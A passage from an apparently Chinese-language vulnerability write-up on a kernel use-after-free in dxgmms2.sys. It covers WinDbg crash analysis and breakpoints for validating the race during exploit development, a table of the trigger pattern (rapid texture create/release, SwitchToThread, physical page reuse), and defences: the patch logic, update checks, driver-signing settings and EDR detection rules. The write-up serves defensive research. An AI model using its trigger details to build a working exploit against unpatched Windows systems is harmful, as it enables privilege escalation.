# 根因: dxgmms2!UnlockRange中的UAF递减了csrss.exe句柄表
#       所在物理页的引用计数, 导致句柄表条目被错误释放

9.3 WinDbg 调试命令

以下是使用 WinDbg 分析该漏洞崩溃转储的关键命令序列:

# ============================================================
# WinDbg 调试命令序列
# ============================================================

# 1. 加载崩溃转储后, 查看BugCheck信息
!analyze -v

# 2. 查看崩溃调用栈
kv
# 预期输出应包含:
#   dxgmms2!VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange+0x142
#   dxgmms2!VidMmWorkerThread+0x8a3

# 3. 反汇编UnlockRange函数查看crash指令
u dxgmms2!VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange+0x120 L20
# crash点应在调用MmUnlockPages的call指令处

# 4. 查看crash时的寄存器, 定位问题MDL
r
# RCX寄存器通常包含传入MmUnlockPages的MDL指针

# 5. 检查MDL内容(假设RCX = MDL地址)
dt _MDL @rcx
# 检查MdlFlags是否包含 MDL_PAGES_LOCKED (0x2)
# 如果Flag异常, 说明MDL已被篡改

# 6. 查看MDL的PFN数组
dd MmGetMdlPfnArray(@rcx) L10
# 如果PFN值看起来像内核指针而非有效物理页号,
# 说明该物理页已被重用为其他内核对象

# 7. 检查可疑PFN对应的MMPFN条目
!pte <物理页对应的虚拟地址>
# 或使用 !pfn <PFN号> 查看PFN状态

# 8. 列出所有dxgmms2模块中的VidMm相关符号
x dxgmms2!VidMm*
x dxgmms2!VIDMM_*

# 9. 检查回收堆对象的内存布局
dt dxgmms2!VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW <对象地址>

# 10. 启用池特殊检测以辅助调试(需提前配置)
# 在注册表中设置:
# HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
#   PoolTagOverrides = "+ 'VidM'" (启用VidMm池标签检测)
# 然后执行:
!gflag + 0x2000  # 启用 PoolMarker
!gflag + 0x8000  # 启用 DeadPoolTracking

# 11. 设置条件断点, 在UnlockRange入口断下
bp dxgmms2!VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange
# 单步跟踪观察MDL指针变化

9.4 利用验证性断点

在开发完整利用时,可以使用以下断点来验证竞态条件的命中:

# 在MmUnlockPages调用前断下, 检查MDL有效性
bp dxgmms2!VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW::UnlockRange+0x130 ".if (@rcx != 0) { .printf \"UnlockRange MDL=%p\\n\", @rcx; dt _MDL @rcx; dd MmGetMdlPfnArray(@rcx) L4; } .else { .echo \"MDL is NULL!\"; }"

# 监控debounce队列处理
bp dxgmms2!VidMmWorkerThread+0x890 ".printf \"VidMmWorkerThread processing debounce queue\\n\""

# 跟踪CreateTexture2D的内核路径, 确认物理页重用
bp dxgmms2!VidMmAllocatePages ".printf \"VidMmAllocatePages called, reusing physical pages\\n\""

10. 正常操作与触发 UAF 操作对比

操作维度 正常 D3D11 纹理操作 触发 UAF 的操作序列
纹理创建频率 按需创建,低频率 高频率循环创建(每秒数千次)
Map/Unmap 模式 单次 Map,使用后 Unmap 快速 Map→写数据→Unmap→释放,极短生命周期
CPU 让出 不主动调用 SwitchToThread 释放纹理后立即 SwitchToThread() 制造窗口
并发纹理数量 少量(通常 <100) 大量并发(数百个相同大小纹理)
纹理大小 任意大小 精确匹配回收堆粒度(整数物理页)
线程模型 单线程或低并发 多线程高并发(线程A释放 + 线程B重分配)
D3D设备 单一设备 可使用多个D3D设备增加回收堆压力
物理页重用 回收堆正常复用 在debounce队列处理期间抢占物理页
MDL生命周期 纹理存活期间MDL稳定 MDL在debounce队列中, 物理页已重用
UnlockRange执行 MDL有效, PFN指向已锁定页 MDL的PFN指向已重用的物理页
系统稳定性 稳定运行 BugCheck 0x1A_61948 或 0xEF
典型场景 游戏/图形应用正常使用 恶意程序构造的竞态攻击

11. 防御方案

11.1 安装 KB5101650 补丁(首要措施)

Microsoft 在 2026 年 7 月的安全更新中发布了 KB5101650 补丁。该补丁的核心修复是在 UnlockRange 函数的循环中引入了对 VIDMM_RECYCLE_HEAP_PHYSICAL_VIEW 自旋锁的获取,并在每次访问 v5->Mdl 前验证 MDL 的有效性:

// 补丁后的 UnlockRange 核心逻辑 (简化)
do {
    // ★ 修复1: 获取自旋锁, 阻止并发修改链表
    KeAcquireSpinLockAtDpcLevel(&this->SpinLock);

    // ★ 修复2: 验证 MDL 指针有效性和锁定状态
    if (!v5->Mdl || !(v5->Mdl->MdlFlags & MDL_PAGES_LOCKED)) {
        KeReleaseSpinLockFromDpcLevel(&this->SpinLock);
        break;  // 跳过无效MDL
    }

    // 验证 PFN 数组中每个物理页仍然属于此 MDL
    if (!VidMmValidateMdlPfnOwnership(v5->Mdl)) {
        KeReleaseSpinLockFromDpcLevel(&this->SpinLock);
        break;
    }

    PMDL localMdl = v5->Mdl;  // 快照MDL指针
    KeReleaseSpinLockFromDpcLevel(&this->SpinLock);

    // 在锁外执行耗时操作(减少锁持有时间)
    MmUnlockPages(localMdl);
    IoFreeMdl(localMdl);

    KeAcquireSpinLockAtDpcLevel(&this->SpinLock);
    VIDMM_MDL_RANGE::RemoveFromLockedRanges(v5);
    v5 = v5->Next;
    KeReleaseSpinLockFromDpcLevel(&this->SpinLock);

} while (v5 != v9 && !v12);

检查补丁是否已安装:

# 方法1: 通过 wusa 查询
wusa /list

# 方法2: 通过 PowerShell 查询已安装补丁
Get-HotFix -Id KB5101650

# 方法3: 检查 dxgmms2.sys 文件版本
Get-Item "C:\Windows\System32\drivers\dxgmms2.sys" |
    Select-Object VersionInfo |
    Format-List

# 确认版本号 >= 受影响版本的修复构建号
# Windows 11 24H2: 10.0.26100.8875
# Windows 11 25H2: 10.0.26200.8875

11.2 驱动签名验证强化

确保系统启用了驱动签名强制(Driver Signature Enforcement),防止攻击者加载恶意显卡驱动来辅助利用:

# 检查驱动签名强制状态
bcdedit /enum {current} | Select-String "nointegritychecks","testsigning"

# 确保以下两项均为 No(未禁用):
# nointegritychecks   No    ← 签名检查已启用
# testsigning         No    ← 测试签名已禁用

# 如需修复, 以管理员身份执行:
bcdedit /set nointegritychecks off
bcdedit /set testsigning off
# 重启生效

11.3 EDR 监控规则

企业环境应部署 EDR(Endpoint Detection and Response)规则来检测该漏洞的利用行为。以下是基于行为特征的检测规则设计:

# ============================================================
# EDR 检测规则: CVE-2026-50353 利用行为特征
# ============================================================

# 检测规则1: 高频D3D11纹理创建-释放循环
# 特征: 单个进程在短时间内创建大量D3D11纹理并立即释放
# 触发条件: 1秒内 CreateTexture2D + Release 循环 > 500次
#
# Sysmon 配置示例 (Event ID 1 - ProcessCreate):
# 配合 ETW(DirectX) 日志审计

# 检测规则2: 多线程D3D设备访问模式
# 特征: 同一进程内多个线程同时操作D3D11设备上下文
# 正常应用很少在多线程中高频操作同一D3D设备

# 检测规则3: SwitchToThread高频调用
# 特征: 攻击者使用SwitchToThread制造竞态窗口
# 触发条件: 进程在调用D3D11 API期间高频调用SwitchToThread

# 检测规则4: 异常BugCheck监控
# 监控事件ID 1001 (BugCheck), 筛选 0x1A 和 0xEF
Get-WinEvent -FilterHashtable @{
    LogName   = 'System'
    Id        = 1001
    StartTime = (Get-Date).AddHours(-24)
} | Where-Object {
    $_.Message -match '0x0000001a|0x000000EF'
} | Select-Object TimeCreated, Message

11.4 深度防御建议

防御层级 措施 优先级
补丁管理 及时安装 KB5101650 及后续累积更新 最高
攻击面缩减 在不需要图形加速的服务器上禁用 WDDM 驱动 高
权限隔离 低权限用户不应有访问 D3D11 硬件加速的能力(VDI 环境可配置) 中
行为监控 EDR 部署高频纹理操作检测规则 高
崩溃告警 监控 0x1A/0xEF BugCheck 事件,作为潜在攻击指标 中
日志审计 启用 DirectX ETW 日志审计,记录异常 GPU 资源操作 低
网络隔离 限制低权限账户的远程桌面访问(RDP 是触发本漏洞的常见入口) 中

11.5 虚拟化环境特别说明

在 Hyper-V、VMware 等虚拟化环境中,如果启用了 vGPU(虚拟 GPU 透传或半虚拟化 GPU),Guest OS 内的 dxgmms2.sys 同样存在该漏洞。需要注意的是:

  • vGPU 透传(PCI Passthrough):Guest OS 直接操作物理 GPU,漏洞影响与物理机相同
  • 半虚拟化 GPU(如 Hyper-V GPU-PV):Host 的 dxgmms2.sys 可能被多个 Guest 共享,一个 Guest 的漏洞利用可能影响 Host 或其他 Guest,构成虚拟机逃逸风险
  • 建议:虚拟化环境同样需要更新 Guest OS 的 KB5101650 补丁,同时更新 Host 的 Hyper-V 整合驱动

12. 免责声明

本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC 代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。